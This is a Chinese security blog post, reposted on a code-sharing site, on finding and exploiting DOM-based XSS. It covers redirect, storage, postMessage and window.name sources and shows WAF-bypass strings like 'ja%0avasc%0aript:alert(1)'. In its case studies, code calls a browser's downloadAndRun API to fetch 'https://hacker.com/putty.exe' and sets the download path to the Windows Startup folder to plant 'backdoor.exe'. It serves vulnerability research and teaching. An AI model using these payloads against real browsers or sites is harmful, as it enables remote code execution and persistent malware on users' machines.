DOM

Wesley13
• 阅读 611

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。可以分为反射型、存储型、DOM型等,本文主要讲解DOM-XSS漏洞挖掘与攻击面延申。接下来就开门见山,讲解干货吧。

DOM-XSS典型应用场景

URL带入页面

这类DOM-XSS最为常见,漏洞点通常是以下形式出现:

function getUrlParam(name) {   var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");   var r = window.location.href.substr(1).match(reg);   if (r != null) return unescape(r[2]); return null;}document.getElementById('foo').innerHTML = getUrlParam('foo')

这种漏洞的地方比较多,名称、地点、标题等地方都可能存在。

此类漏洞和反射型XSS最大的区别是取值不同。

在第二行代码中:

var r = window.location.search.substr(1).match(reg);

此时取值,匹配的URL是location.href,这个值包含了location.search和 location.hash的值,而location.hash的值是不被传到服务器,并且能被前端JS通过getUrlParam函数成功取值。

跳转类

在javascript语法中,使用如下代码可以将页面进行跳转操作:

location.href = urlparams.redirecturl;

这样的跳转通常会出现在登录页、退出页和中间页。

如果开发者让用户可以控制redirecturl参数,就可以使用形如javascript:alert(1) 的形式进行XSS攻击。

近几年APP开发比较热门,通过web唤起APP的操作也是越来越多,跳转的协议也多种多样,例如 webview:// , myappbridge:// 等等。仅仅使用http和https来判断URL是否合法已经不适用了,于是由跳转所产生的DOM-XSS漏洞也逐渐增多。

缓存类

开发者在缓存前端数据的时候,通常会保存在sessionStorage , localStorage , cookie中,因为sessionStorage在页面刷新时就失效,所以利用方式相对简单的只有后面两种。

function getCookie(name) {   var arr = document.cookie.match(new RegExp("(^|; )" + name + "=([^;]*)(;|$)"));   if (arr != null) return unescape(arr[2]);   return null;}

根据浏览器的同源策略,Cookie是可以被子域名读到的。一旦发现在如下URL:

http://example.com/setCookie.php?key=username&value=password

可以设置Cookie,就可以结合一些读取Cookie的页面进行XSS攻击。

localStorage的特性和Cookie类似,但它和Cookie不同的是,Cookie被设置之后具有有效期,而localStorage被设置过后,只要不手动清除或覆盖,这个值永远不会消失。Cookie中通常会存放少量的缓存信息,像用户头像的URL,用户名等等,而localStorage中通常会存放一些大量的、需要重复加载的数据,如搜索历史记录,缓存JS代码等等。这些值被修改过以后,大部分开发者都不会去校验它的合法性,以及是否被修改过。

postMessage

postMessage可以跨域使用,使用场景比较广泛,如支付成功的回调页面。

window.addEventListener("message", function (e) {  eval(e.data);})

这段代码中,监听了message事件,取了e.data的值,也就是来自于其他页面上的message消息,但是没有检测来源。如果页面允许被嵌套,即可嵌套该页面,再使用window[0].postMessage即可向该窗口发送数据。

window.name

window.name与其他window对象不同,它在窗口刷新后会保留。例如:

<iframe src="example.com" name="Foo"></iframe>

当这个页面刷新跳转到其他网站时,如果该网站没有对window.name进行设置,那么当前window.name的值仍然是Foo。

DOM-XSS的优势

通过以上简单的介绍,大家对DOM-XSS有了一定的了解,那么相较于其他类型的XSS,DOM-XSS的优势在哪里呢?

避开WAF

正如开头讲的第一种DOM-XSS,可以通过location.hash的方式,将参数写在#号后,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免了WAF的检测。ja%0avasc%0aript:alert(1), j\x61vascript:alert(1) 这样的形式可以绕过WAF。使用postMessage,window.name,localStorage 等攻击点进行XSS攻击,攻击代码是不会经过WAF的。

长度不限

当允许用当前页面的变量名作为参数时,可以使用如下方式进行攻击:

<iframe src="http://example.com/?poc=name">

隐蔽性强

攻击代码具有隐蔽性,持久性。例如使用Cookie和localStorage作为攻击点的DOM-XSS,难以察觉、持续时间长。

XSS的巧妙利用

我们熟知的XSS利用方式有:窃取Cookie、钓鱼页面、盲打后台地址。如果对网站的框架比较熟悉的话,甚至可以让管理员上传一个WebShell。

接下来分享如何通过XSS实现客户端RCE****。

chromium支持开发者扩展API,厂商在开发浏览器时,有的为了业务需求,有的出于用户体验,会给浏览器加上一些扩展接口,这些接口通常比较隐蔽,且只对来自于信任域的数据开放接口。但是如果有一个特殊域名下的XSS,或者这个特殊域名可以被跨域,我们可以找任意一个当前域名的XSS对它进行攻击。

通过以下代码就可以对当前页面下的chrome对象进行遍历:

var p = chrome;for (var key in p) { if (p.hasOwnProperty(key) && p[key] == "[object Object]") {   console.log(key + " -> " + p[key]); }}

由遍历的结果可以看出,除了默认的app,webstore之外,还有一些特殊的[object Object]对象。再结合厂商的名字,就可以大致猜测出这个接口是做什么用的。

有一款浏览器的接口特别丰富,接下来分享一下之前的调试过程。

案例一

首先从业务入手,找到了一个叫做game.html的页面,观察到页面上大部分是游戏。

使用了上面的代码对chrome对象进行遍历之后,发现了browser_game_api,继续遍历这个API,看它有哪些变量、函数和对象。

这时候发现一个函数叫做downloadAndRun,从函数名来看,这个函数执行的操作是比较危险的。但是无法得知这个函数的参数是什么,就需要从这个特殊域名下的页面中去找。根据函数名搜索,很快就找到了这个函数调用的地方。于是构造攻击代码:

browser_game_api.downloadAndRun({'url': 'https://hacker.com/putty.exe'}, function (a) {   console.log(a)})

这个站点将自己的domain设置成了example.com,于是我们可以通过其他exmaple.com下的XSS来调用它页面下的接口。

首先发现https://exmaple.com/下的一个XSS,利用XSS将当前页面的document.domain设置为example.com,这样它就和game.html同域。

接下来在XSS页面执行如下代码,即可在新的窗口弹出putty.exe运行界面 :

document.domain="exmaple.com" // 确保当前域和打开的域是同域var a = window.open("https://exmaple.com/")a.onload = function(){a.browser_game_api.downloadAndRun({'url': 'https://hacker.com/putty.exe'}, function (a) {   console.log(a)})}

DOM

案例二

继续遍历API,又发现一个特殊的接口,用于设置用户的偏好,其中就包含设置下载目录和设置静默下载。

于是联想到另一种攻击方式,通过调用它自带的设置偏好接口,将用户的下载目录设置为window的启动目录:

C:\\Users\\User\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup

同样的,找到一个exmaple.com下的XSS,将自身的domain设置成 exmaple.com,再使用window.opener的方式,调用特殊权限页面的接口进行攻击:

browser.setDownloadPath(   {   'path':'C:\\Users\\User\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'   });location.href="http://www.example.com/backdoor.exe";

DOM

案例三

说完了针对windows的漏洞,再来聊一下安卓上的XSS利用技巧。

早在2014年12月12日,Rapid7报告了一个漏洞。利用浏览器的UXSS实现在 Android 4.3 或更低版本的系统上安装任意APP。 

这个漏洞利用了如下三点:

1. 使用了UXSS作为攻击手段,在play.google.com下调用安装APP的代码。

2. 利用了play.google.com的可被嵌套的缺陷。我们知道在Android上是没有 window.opener这个属性的,不能通过window.open一个窗口再调用它的函数。还有一种利用的方式是通过iframe对它进行调用:

<iframe src="poc.html" name="foo></iframe>



window.foo.func()

3. play.google.com的安装机制,是在用户登录了浏览器之后就可以唤起Google Play进行安装。

结合这三点,就完全满足了XSS利用的条件。

来看一下完整的攻击流程

首先攻击者注册成为Google开发者,在应用市场上发布了一款叫 backdoor_app的应用。

接着将play.google.com嵌套至攻击页面中,利用UXSS调用安装代码。谷歌市场启动,在后台进行安装应用。

后记

随着浏览器的使用范围越来越广,相信无论是反射型、存储型还是DOM-XSS,都是不容小觑的。

作为开发者,要防御的不仅仅是来自于输入点,有时,来源于自己站点的数据也要加入防御列表。

DOM

DOM

PWNHUB(昵称:胖哈勃),遥远的1990年年,哈勃望远镜拓展了人类仰望星空的界限2016年,PWNHUB诞生,将引领那些对网络安全感兴趣的人们探索“01”世界中的无限奥秘。......

PWNHUB致力打造顶尖网络安全攻防交流平台,为网络安全爱好者与研究者提供一个碰撞思维,提升技术的线上场所。每月一次CTF攻防赛,定期组织线下技术沙龙与工作坊.PWNHUB崇尚自由探索的极客精神,以高质量的纯原创题目汇集了一大批高水平的CTF选手与战队。

本文分享自微信公众号 - 黑伞攻防实验室(hack_umbrella)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Easter79 Easter79
2年前
swap空间的增减方法
(1)增大swap空间去激活swap交换区:swapoff v /dev/vg00/lvswap扩展交换lv:lvextend L 10G /dev/vg00/lvswap重新生成swap交换区:mkswap /dev/vg00/lvswap激活新生成的交换区:swapon v /dev/vg00/lvswap
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Wesley13 Wesley13
2年前
Java获得今日零时零分零秒的时间(Date型)
publicDatezeroTime()throwsParseException{    DatetimenewDate();    SimpleDateFormatsimpnewSimpleDateFormat("yyyyMMdd00:00:00");    SimpleDateFormatsimp2newS
Wesley13 Wesley13
2年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
3个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这